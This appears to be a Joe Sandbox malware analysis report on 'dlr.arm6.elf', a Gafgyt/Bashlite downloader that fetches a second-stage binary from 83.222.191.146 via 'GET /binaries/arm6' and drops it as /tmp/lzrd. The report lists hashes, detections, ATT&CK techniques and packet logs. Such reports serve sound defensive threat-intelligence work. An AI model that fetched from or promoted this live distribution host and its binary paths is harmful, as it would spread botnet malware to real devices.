Edit tour

Linux Analysis Report
dlr.arm6.elf

Overview

General Information

Sample name:	dlr.arm6.elf
Analysis ID:	1581733
MD5:	9d1ffb2e493d7240cec255c71f0b63d5
SHA1:	e15c529f790efad0944258f5fb73282b61cc265d
SHA256:	1efa902359668980af91dd25fc6c0dedee94758dcdc1ea580dceeb616dafa37f
Tags:	elfuser-abuse_ch
Infos:

Detection

Gafgyt

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Gafgyt

HTTP GET or POST without a user agent

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Writes ELF files to disk

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581733
Start date and time:	2024-12-28 21:15:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	dlr.arm6.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/1@0/0

Warnings

Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Runtime Messages

Command:	/tmp/dlr.arm6.elf
PID:	5550
Exit Code:	5
Exit Code Info:
Killed:	False
Standard Output:	LIZRD lzrd
Standard Error:

Process Tree

system is lnxubuntu20

dlr.arm6.elf (PID: 5550, Parent: 5477, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/dlr.arm6.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
/tmp/lzrd	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: dlr.arm6.elf

ReversingLabs: Detection: 43%

Source: global traffic

HTTP traffic detected: GET /binaries/arm6 HTTP/1.0Data Raw: 00 00 00 Data Ascii:

Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146
Source: unknown	TCP traffic detected without corresponding DNS query: 83.222.191.146

Source: global traffic

HTTP traffic detected: GET /binaries/arm6 HTTP/1.0Data Raw: 00 00 00 Data Ascii:

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/1@0/0

Source: /tmp/dlr.arm6.elf (PID: 5550)

File written: /tmp/lzrd

Jump to dropped file

Source: /tmp/dlr.arm6.elf (PID: 5550)

Queries kernel information via 'uname':

Jump to behavior

Source: dlr.arm6.elf, 5550.1.00007ffd0ca7f000.00007ffd0caa0000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/dlr.arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/dlr.arm6.elf
Source: dlr.arm6.elf, 5550.1.0000559b07bb3000.0000559b07ce1000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: dlr.arm6.elf, 5550.1.0000559b07bb3000.0000559b07ce1000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: dlr.arm6.elf, 5550.1.00007ffd0ca7f000.00007ffd0caa0000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match

File source: /tmp/lzrd, type: DROPPED

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match

File source: /tmp/lzrd, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
dlr.arm6.elf	43%	ReversingLabs	Win32.Trojan.Gafgyt

Dropped Files

Source	Detection	Scanner	Label	Link
/tmp/lzrd	24%	ReversingLabs	Linux.Backdoor.Mirai
/tmp/lzrd	24%	Virustotal		Browse

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
83.222.191.146	unknown	Bulgaria		43561	NET1-ASBG	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
83.222.191.146	dlr.mpsl.elf	Get hash	malicious	Gafgyt	Browse	/binaries/mpsl
	dlr.arm7.elf	Get hash	malicious	Unknown	Browse	/binaries/arm7
	dlr.mips.elf	Get hash	malicious	Gafgyt	Browse	/binaries/mips

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NET1-ASBG	dlr.mpsl.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146
	dlr.arm7.elf	Get hash	malicious	Unknown	Browse	83.222.191.146
	dlr.mips.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146
	mpsl.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146
	arm4.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146
	arm5.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146
	arm7.elf	Get hash	malicious	Unknown	Browse	83.222.191.146
	mips.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146
	x86_64.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146
	arm5.elf	Get hash	malicious	Gafgyt	Browse	83.222.191.146

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/tmp/lzrd

Download File

Process:	/tmp/dlr.arm6.elf
File Type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Category:	dropped
Size (bytes):	166876
Entropy (8bit):	5.689155438266992
Encrypted:	false
SSDEEP:	3072:32fHYLJBANj5e4rfVQa6wT1btjTtOwcWN9+uzKHjo:32f6odffaa6sbt0wn2uzKHj
MD5:	6121BFADDCBB8FD43B73D6E01F68F8B6
SHA1:	67F15D020FA26F893C266483A3A37BD0802689BA
SHA-256:	72B5F7E78AF1A3DA0F7886B7FCC469D39E7714C1D0023C8D4B30B5B7921C0EDF
SHA-512:	2500599DBE8A9395ADEAF36F91DC00F9753BA2661DDE1E2462E2C854B074516225A2F8A2A65823C89444D1DB62CE189DAE283A56DC02FA19CA7FD0656F312D82
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Gafgyt, Description: Yara detected Gafgyt, Source: /tmp/lzrd, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 24% Antivirus: Virustotal, Detection: 24%, Browse
Reputation:	low
Preview:	.ELF..............(.....T...4..........4. ...(......................@...@...............@...@...@..<I..............Q.td..................................-...L.................@-.,@...0....S..... 0....S........../..0...0...@..../.X........@....-.@0....S...M.8...8......../.0....0....S.....$0....S....../........../......@..\...(@.................. ... -...-.......-......0...X...S............p@-.......M..`... ......yN...Q....p..@......@........ ..t6.......+......p6........... ...0..........UN..f<...0C.0...0...`..0..-'...0...0...`...@........... ..M....p..@...............M.....p@..../.......... ...4..c.T.....b.T.........]6......AV..... ..........................R6......6V...0..................U...A...A.......O-..M.4.M.M...@...P.......`..UN..........0N........... ..CC..d...>B.....\:........<...L....... ...;.....U.".......4.......0z..................0...............0...........@...0..........4....... ......4..........LN..+....P...............O..../...........P.....

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	4.85336804810965
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	dlr.arm6.elf
File size:	1'444 bytes
MD5:	9d1ffb2e493d7240cec255c71f0b63d5
SHA1:	e15c529f790efad0944258f5fb73282b61cc265d
SHA256:	1efa902359668980af91dd25fc6c0dedee94758dcdc1ea580dceeb616dafa37f
SHA512:	f329f154385bbffe515766d726f1e740c89dfebe10963eba7173515e9f48b4a2e2f8b56666e6f402063fa71151c0c1780812292ff4cbb5b6e1ee06aae519b054
SSDEEP:	24:+CKGpa7Urz/jlfE4XK1G9Vev3gRGD9iMC/NBuk7lxrR+zDS+ZA:rKGpa7UrLZyR3iNBuslxrsDS+Z
TLSH:	8B31F19153D05EB8C8E491BFAE5643147364AF80E0CB7253D2187714BD19EBC9C36046
File Content Preview:	.ELF..............(.........4...........4. ...(.....................<...<...............<...<...<...................Q.td.........................................8...<...4...........(.."...#...../...-.......M.................../...-.......M................

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8388
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	1164
Section Header Size:	40
Number of Section Headers:	7
Header String Table Index:	6

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.text	PROGBITS	0x80a0	0xa0	0x35c	0x0	0x6	AX	16
.rodata	PROGBITS	0x83fc	0x3fc	0x40	0x1	0x32	AMS	4
.got	PROGBITS	0x1043c	0x43c	0xc	0x4	0x3	WA	4
.bss	NOBITS	0x10448	0x448	0x8	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x448	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x458	0x33	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x43c	0x43c	5.2840	0x5	R E	0x8000	.text .rodata
LOAD	0x43c	0x1043c	0x1043c	0xc	0x14	0.0000	0x6	RW	0x8000	.got .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 21:16:14.193146944 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:14.312851906 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:14.312973022 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:14.314248085 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:14.434043884 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.723124981 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.723181963 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.723207951 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.723218918 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.723265886 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.723278999 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.723289013 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.723300934 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.723490000 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:15.723490000 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:15.723490000 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:15.723490000 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:15.723490000 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:15.723490000 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:15.723490000 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:15.723490000 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:15.723551035 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.723562956 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.723594904 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:15.723594904 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:15.843295097 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.843373060 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:15.843405962 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.843456030 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:15.933348894 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.933361053 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.933404922 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:15.933406115 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:15.962918043 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.962930918 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:15.962975979 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:15.962975979 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.052938938 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.052959919 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.052970886 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.052982092 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.052992105 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.053003073 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.053014040 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.053026915 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.053037882 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.053049088 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.053060055 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.053071022 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.053283930 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.053297043 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.053307056 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.053318024 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.053328991 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.053339958 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.053705931 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.053719044 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.055109978 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.144061089 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.144249916 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.144979954 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.147790909 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.147897005 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.148977995 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.155473948 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.155567884 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.159430027 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.174657106 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.174738884 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.176135063 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.176500082 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.176610947 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.177798033 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.180207968 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.180295944 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.181152105 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.183932066 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.184062004 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.184509039 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.187716007 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.187756062 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.187865973 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.191309929 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.191409111 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.192856073 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.195028067 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.195120096 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.196181059 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.198733091 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.198827982 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.199484110 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.202406883 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.202543974 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.202848911 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.206113100 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.206171036 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.207763910 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.214432001 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.278959036 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.279052973 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.280611038 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.300681114 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.300720930 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.300779104 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.312422037 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.312464952 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.312813044 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.388333082 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.388365984 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.388649940 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.389292002 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.389422894 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.390578032 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.393117905 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.393212080 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.394342899 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.396678925 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.396802902 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.398149014 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.400388002 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.400507927 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.401922941 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.404154062 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.404318094 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.405627966 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.407816887 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.407993078 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.409406900 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.420325994 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.420531988 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.420947075 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.514216900 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.633809090 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.633888006 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.634630919 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.635617018 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.635741949 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.636471987 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.639302015 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.639413118 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.640110016 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.643054008 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.643188953 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.643753052 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.646752119 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.646842957 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.647382021 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.650407076 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.652266026 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.652427912 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.652838945 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.655934095 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.656060934 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.656538010 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.758002996 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.758064032 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.759710073 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.767447948 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.767530918 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.768949986 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.775866985 CET	80	44134	83.222.191.146	192.168.2.15
